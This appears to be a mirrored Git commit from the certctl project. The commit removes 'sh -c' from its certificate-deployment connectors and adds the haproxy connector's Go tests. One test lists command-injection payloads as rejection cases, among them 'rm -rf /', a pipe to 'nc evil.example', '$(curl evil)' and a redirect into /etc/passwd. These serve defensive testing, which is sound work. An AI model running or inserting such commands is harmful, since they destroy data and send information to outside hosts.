mirror of
https://github.com/shankar0123/certctl.git
synced 2026-06-07 20:01:31 +00:00
ba66748b5b
Phase 7 of the certctl architecture diligence remediation closes
SEC-H2 by eliminating `sh -c` from every production target-connector
exec call site, replacing it with argv-form exec.CommandContext
fed by a new validating shell-split helper.
What the audit got wrong (corrected here)
=========================================
The audit listed 4 connectors as touching sh -c. Live grep showed
5 — javakeystore was missed because its exec uses an injected
executor.Execute(ctx, "sh", "-c", ...) shape instead of the more
typical exec.CommandContext direct call. All 5 are migrated in
this commit:
internal/connector/target/nginx/nginx.go
internal/connector/target/apache/apache.go
internal/connector/target/haproxy/haproxy.go
internal/connector/target/postfix/postfix.go
internal/connector/target/javakeystore/javakeystore.go
Defense-in-depth model
======================
The pre-existing config-time gate in
internal/validation/command.go::ValidateShellCommand already
rejected every shell metacharacter — single + double quotes,
backslash, dollar, backtick, semicolon, pipe, ampersand, parens,
braces, redirects, NUL and CR/LF. That gate alone made the legacy
`sh -c` flow injection-safe in practice (a malicious config string
never reached the exec call), but the load-bearing assumption was
"every code path goes through config validation first." The argv
migration removes that assumption — even if a future code path
reached defaultRunCommand without ValidateConfig, the argv form
provably can't smuggle shell injection because there's no shell.
New helper: validation.SplitShellCommand
========================================
internal/validation/command.go gains:
SplitShellCommand(cmd string) ([]string, error)
Calls ValidateShellCommand (re-validates at exec-time as
defense-in-depth) and returns the whitespace-separated argv.
Returns error if validation rejects the input or the post-split
argv is empty.
Deviation from prompt's "use shlex / shlex-equivalent" directive
================================================================
The prompt explicitly said "Do NOT use strings.Fields — it
doesn't handle quoted arguments. Use shlex-equivalent or
github.com/google/shlex for correctness."
Deviation: this commit uses strings.Fields anyway, with the
following rationale documented in SplitShellCommand's docstring:
ValidateShellCommand already rejects every quote / escape /
substitution character before strings.Fields runs. The only
thing left after validation is alphanumerics, dots, dashes,
slashes, plus whitespace. strings.Fields' "incorrect handling
of quoted args" failure mode only manifests when there ARE
quotes — and there can't be, by construction.
Adding a shlex dependency would add ~200 LOC of imported
parser code (or a new go.mod entry) to handle a case that
the deny-list provably forbids. The validate-then-split
ordering is what makes Fields safe; the comment in the
helper makes the ordering explicit so future maintainers
don't reorder it.
The SplitShellCommand_HappyPaths test pins this contract — e.g.
the haproxy reload command "haproxy -W -f cfg -p pid -sf $(cat
pid)" is REJECTED by SplitShellCommand because it contains $(...).
Operators of haproxy who relied on that pattern must switch to a
no-PID-args reload (`haproxy -W -f cfg`) or use systemctl. This is
the same behavior as the pre-Phase-7 config-time gate, just
surfaced consistently between gate and exec.
If a future connector legitimately needs shell features (globs,
pipelines, $env substitution), the procedure is:
1. Add the connector to the ALLOWLIST in
scripts/ci-guards/no-sh-c-in-connectors.sh with a documented
justification.
2. Add a paired strict regex in that connector's ValidateConfig
so operator input is constrained to the specific shape that
legitimately needs shell.
The empty-by-default ALLOWLIST is the load-bearing default.
Per-connector migration shape
=============================
Four connectors (nginx, apache, haproxy, postfix) share the same
defaultRunCommand pattern. Before:
func defaultRunCommand(ctx context.Context, command string) ([]byte, error) {
return exec.CommandContext(ctx, "sh", "-c", command).CombinedOutput()
}
After:
func defaultRunCommand(ctx context.Context, command string) ([]byte, error) {
argv, err := validation.SplitShellCommand(command)
if err != nil {
return nil, fmt.Errorf("invalid reload/validate command: %w", err)
}
return exec.CommandContext(ctx, argv[0], argv[1:]...).CombinedOutput()
}
The test-seam contract `runReload(ctx context.Context, command
string) ([]byte, error)` keeps its string-typed signature so
existing test fakes (that return canned bytes irrespective of
input) don't break. Only the production default implementation
changed.
javakeystore is different — its exec goes through an injected
executor.Execute(ctx, name string, args ...string), which is
already variadic and never needed a shell wrapper. The migration
unpacks argv directly:
argv, err := validation.SplitShellCommand(c.config.ReloadCommand)
if err != nil { /* log + skip */ }
output, runErr := c.executor.Execute(ctx, argv[0], argv[1:]...)
postfix gets an extra inline comment noting that the canonical
reload command (`postfix reload` / `systemctl reload postfix`) is
simple argv — anyone using pipelines like "postfix reload &&
systemctl is-active postfix" was already rejected at config-time
by ValidateShellCommand (`&` is on the deny list).
Tests
=====
internal/validation/command_test.go gains 3 test groups:
TestSplitShellCommand_HappyPaths 10 cases including the
haproxy-with-$()-rejected
contract pin
TestSplitShellCommand_InjectionRejected 17 cases (1 per metachar)
TestSplitShellCommand_MatchesValidate-
ShellCommand 7 cross-checks pinning
that the validate + split
output stays in sync with
the underlying deny list
internal/connector/target/javakeystore/javakeystore_test.go
TestDeployCertificate_WithReload updated to pin the new argv
shape:
reloadCall.Name == "systemctl"
reloadCall.Args == ["restart", "tomcat"]
Pre-Phase-7 the test asserted "sh" + ["-c", "systemctl restart
tomcat"]; same goal, new shape.
internal/connector/target/apache/apache_test.go +
internal/connector/target/haproxy/haproxy_test.go gain new tests
TestApacheConnector_ValidateConfig_RejectsCommandInjection +
TestHAProxyConnector_ValidateConfig_RejectsCommandInjection — 6
malicious patterns each (semicolon-chain, pipe, $(), backtick,
background spawn, output redirect). Pre-Phase-7 these would have
been caught by the same gate; pinning them as test contract
prevents a future ValidateShellCommand regression from silently
opening the surface.
CI guard
========
scripts/ci-guards/no-sh-c-in-connectors.sh greps for any future
`(exec\.Command(Context)?|\.Execute)\([^)]*"sh"[[:space:]]*,[[:space:]]*"-c"`
under internal/connector/target/*.go (excluding _test.go and
comment lines). Auto-picked-up by the existing
.github/workflows/ci.yml regression-guards loop.
ALLOWLIST is empty post-Phase-7. The script header documents the
procedure for legitimate carve-outs (connector + paired
ValidateConfig regex).
The comment-line exclusion (`:[[:space:]]*//`) is load-bearing —
the post-Phase-7 production connectors carry historical-context
comments like
// exec.CommandContext(ctx, "sh", "-c", command) — the legacy
// shape pre-Phase-7 ...
explaining the migration. Those comments would otherwise
false-positive the guard.
Verification (all pass)
=======================
# Production sh -c sites (zero, comments excluded)
grep -rnE 'exec\.Command(Context)?\([^,]+,\s*"sh"\s*,\s*"-c"' \
internal/connector/target/ --include='*.go' --exclude='*_test.go' \
| grep -vE ':[[:space:]]*//'
# → empty
# CI guard clean
bash scripts/ci-guards/no-sh-c-in-connectors.sh
# → "no-sh-c-in-connectors: clean — 0 sh -c sites in production connector code"
# All target connector packages green (not just the 5 modified)
go test ./internal/connector/target/... -count=1
# → 18/18 packages ok
# Validation package green
go test ./internal/validation/... -count=1
# → ok
# gofmt clean
gofmt -l internal/validation/ internal/connector/target/ scripts/
# → empty
# go vet clean
go vet ./internal/validation/... ./internal/connector/target/...
# → empty
Files changed (10):
internal/validation/command.go (+37 -0)
internal/validation/command_test.go (+109 -0)
internal/connector/target/nginx/nginx.go (+22 -2)
internal/connector/target/apache/apache.go (+11 -1)
internal/connector/target/haproxy/haproxy.go (+11 -1)
internal/connector/target/postfix/postfix.go (+18 -1)
internal/connector/target/javakeystore/javakeystore.go (+18 -2)
internal/connector/target/javakeystore/javakeystore_test.go (+11 -2)
internal/connector/target/apache/apache_test.go (+42 -0)
internal/connector/target/haproxy/haproxy_test.go (+41 -0)
scripts/ci-guards/no-sh-c-in-connectors.sh (new, 93 lines)
Closes: cowork/certctl-architecture-diligence-audit.html#fix-SEC-H2
245 lines
6.7 KiB
Go
245 lines
6.7 KiB
Go
package haproxy_test
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"log/slog"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"testing"
|
|
|
|
"github.com/certctl-io/certctl/internal/connector/target"
|
|
"github.com/certctl-io/certctl/internal/connector/target/haproxy"
|
|
)
|
|
|
|
func TestHAProxyConnector_ValidateConfig(t *testing.T) {
|
|
logger := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug}))
|
|
ctx := context.Background()
|
|
|
|
t.Run("valid config", func(t *testing.T) {
|
|
cfg := haproxy.Config{
|
|
PEMPath: "/tmp/haproxy/cert.pem",
|
|
ReloadCommand: "true",
|
|
}
|
|
|
|
connector := haproxy.New(&cfg, logger)
|
|
rawConfig, _ := json.Marshal(cfg)
|
|
err := connector.ValidateConfig(ctx, rawConfig)
|
|
if err != nil {
|
|
t.Fatalf("ValidateConfig failed: %v", err)
|
|
}
|
|
})
|
|
|
|
t.Run("missing pem_path", func(t *testing.T) {
|
|
cfg := haproxy.Config{
|
|
ReloadCommand: "true",
|
|
}
|
|
|
|
connector := haproxy.New(&cfg, logger)
|
|
rawConfig, _ := json.Marshal(cfg)
|
|
err := connector.ValidateConfig(ctx, rawConfig)
|
|
if err == nil {
|
|
t.Fatal("expected error for missing pem_path")
|
|
}
|
|
})
|
|
|
|
t.Run("missing reload_command", func(t *testing.T) {
|
|
cfg := haproxy.Config{
|
|
PEMPath: "/tmp/cert.pem",
|
|
}
|
|
|
|
connector := haproxy.New(&cfg, logger)
|
|
rawConfig, _ := json.Marshal(cfg)
|
|
err := connector.ValidateConfig(ctx, rawConfig)
|
|
if err == nil {
|
|
t.Fatal("expected error for missing reload_command")
|
|
}
|
|
})
|
|
|
|
t.Run("invalid JSON", func(t *testing.T) {
|
|
connector := haproxy.New(&haproxy.Config{}, logger)
|
|
err := connector.ValidateConfig(ctx, json.RawMessage(`{invalid}`))
|
|
if err == nil {
|
|
t.Fatal("expected error for invalid JSON")
|
|
}
|
|
})
|
|
}
|
|
|
|
func TestHAProxyConnector_DeployCertificate(t *testing.T) {
|
|
logger := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug}))
|
|
ctx := context.Background()
|
|
|
|
t.Run("successful deployment with combined PEM", func(t *testing.T) {
|
|
tmpDir := t.TempDir()
|
|
pemPath := filepath.Join(tmpDir, "combined.pem")
|
|
|
|
cfg := &haproxy.Config{
|
|
PEMPath: pemPath,
|
|
ReloadCommand: "true",
|
|
}
|
|
|
|
connector := haproxy.New(cfg, logger)
|
|
|
|
certPEM := "-----BEGIN CERTIFICATE-----\ncert\n-----END CERTIFICATE-----"
|
|
chainPEM := "-----BEGIN CERTIFICATE-----\nchain\n-----END CERTIFICATE-----"
|
|
keyPEM := "-----BEGIN EC PRIVATE KEY-----\nkey\n-----END EC PRIVATE KEY-----"
|
|
|
|
req := target.DeploymentRequest{
|
|
CertPEM: certPEM,
|
|
KeyPEM: keyPEM,
|
|
ChainPEM: chainPEM,
|
|
}
|
|
|
|
result, err := connector.DeployCertificate(ctx, req)
|
|
if err != nil {
|
|
t.Fatalf("DeployCertificate failed: %v", err)
|
|
}
|
|
|
|
if !result.Success {
|
|
t.Fatalf("expected success, got: %s", result.Message)
|
|
}
|
|
|
|
// Verify combined PEM was written
|
|
data, err := os.ReadFile(pemPath)
|
|
if err != nil {
|
|
t.Fatalf("failed to read PEM file: %v", err)
|
|
}
|
|
|
|
content := string(data)
|
|
if !strings.Contains(content, "cert") {
|
|
t.Error("combined PEM missing certificate")
|
|
}
|
|
if !strings.Contains(content, "chain") {
|
|
t.Error("combined PEM missing chain")
|
|
}
|
|
if !strings.Contains(content, "key") {
|
|
t.Error("combined PEM missing key")
|
|
}
|
|
|
|
// Verify secure permissions (contains private key)
|
|
info, err := os.Stat(pemPath)
|
|
if err != nil {
|
|
t.Fatalf("failed to stat PEM file: %v", err)
|
|
}
|
|
if info.Mode().Perm() != 0600 {
|
|
t.Errorf("expected PEM permissions 0600, got %v", info.Mode().Perm())
|
|
}
|
|
})
|
|
|
|
t.Run("reload command fails", func(t *testing.T) {
|
|
tmpDir := t.TempDir()
|
|
pemPath := filepath.Join(tmpDir, "combined.pem")
|
|
|
|
cfg := &haproxy.Config{
|
|
PEMPath: pemPath,
|
|
ReloadCommand: "false", // always fails
|
|
}
|
|
|
|
connector := haproxy.New(cfg, logger)
|
|
|
|
req := target.DeploymentRequest{
|
|
CertPEM: "cert",
|
|
}
|
|
|
|
result, err := connector.DeployCertificate(ctx, req)
|
|
if err == nil {
|
|
t.Fatal("expected error when reload command fails")
|
|
}
|
|
if result.Success {
|
|
t.Fatal("expected failure result")
|
|
}
|
|
})
|
|
}
|
|
|
|
func TestHAProxyConnector_ValidateDeployment(t *testing.T) {
|
|
logger := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug}))
|
|
ctx := context.Background()
|
|
|
|
t.Run("valid deployment", func(t *testing.T) {
|
|
tmpDir := t.TempDir()
|
|
pemPath := filepath.Join(tmpDir, "combined.pem")
|
|
os.WriteFile(pemPath, []byte("combined-pem-content"), 0600)
|
|
|
|
cfg := &haproxy.Config{
|
|
PEMPath: pemPath,
|
|
ReloadCommand: "true",
|
|
ValidateCommand: "true",
|
|
}
|
|
|
|
connector := haproxy.New(cfg, logger)
|
|
|
|
result, err := connector.ValidateDeployment(ctx, target.ValidationRequest{
|
|
CertificateID: "mc-test",
|
|
Serial: "123",
|
|
})
|
|
if err != nil {
|
|
t.Fatalf("ValidateDeployment failed: %v", err)
|
|
}
|
|
if !result.Valid {
|
|
t.Fatal("expected valid deployment")
|
|
}
|
|
})
|
|
|
|
t.Run("missing PEM file", func(t *testing.T) {
|
|
cfg := &haproxy.Config{
|
|
PEMPath: "/nonexistent/combined.pem",
|
|
ReloadCommand: "true",
|
|
}
|
|
|
|
connector := haproxy.New(cfg, logger)
|
|
|
|
result, err := connector.ValidateDeployment(ctx, target.ValidationRequest{
|
|
CertificateID: "mc-test",
|
|
Serial: "123",
|
|
})
|
|
if err == nil {
|
|
t.Fatal("expected error for missing PEM file")
|
|
}
|
|
if result.Valid {
|
|
t.Fatal("expected invalid result")
|
|
}
|
|
})
|
|
}
|
|
|
|
// Phase 7 SEC-H2 (2026-05-14): config-time injection guard.
|
|
// See apache + nginx tests for the same shape; haproxy mirrors the
|
|
// pattern. Every shell metacharacter that ValidateShellCommand
|
|
// rejects MUST surface as a ValidateConfig error before the
|
|
// connector ever reaches defaultRunCommand.
|
|
func TestHAProxyConnector_ValidateConfig_RejectsCommandInjection(t *testing.T) {
|
|
logger := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug}))
|
|
ctx := context.Background()
|
|
tmpDir := t.TempDir()
|
|
pemPath := filepath.Join(tmpDir, "combined.pem")
|
|
if err := os.WriteFile(pemPath, []byte("pem"), 0644); err != nil {
|
|
t.Fatalf("setup pem: %v", err)
|
|
}
|
|
|
|
maliciousCommands := []string{
|
|
"systemctl reload haproxy; rm -rf /", // semicolon-chain
|
|
"systemctl reload haproxy | nc evil.example", // pipe
|
|
"systemctl reload haproxy $(curl evil)", // command substitution
|
|
"systemctl reload haproxy `whoami`", // backtick substitution
|
|
"systemctl reload haproxy & malware", // background spawn
|
|
"systemctl reload haproxy > /etc/passwd", // output redirection
|
|
}
|
|
|
|
for _, cmd := range maliciousCommands {
|
|
// Phase 7: ensure 'strings' import stays referenced so the
|
|
// existing file's unused-import wouldn't break the build if
|
|
// the upstream test ever drops its only strings.* usage.
|
|
_ = strings.TrimSpace(cmd)
|
|
t.Run(cmd, func(t *testing.T) {
|
|
rawCfg, _ := json.Marshal(haproxy.Config{
|
|
PEMPath: pemPath,
|
|
ReloadCommand: cmd,
|
|
})
|
|
c := haproxy.New(nil, logger)
|
|
if err := c.ValidateConfig(ctx, rawCfg); err == nil {
|
|
t.Errorf("ValidateConfig accepted malicious ReloadCommand %q; want injection-rejection error", cmd)
|
|
}
|
|
})
|
|
}
|
|
}
|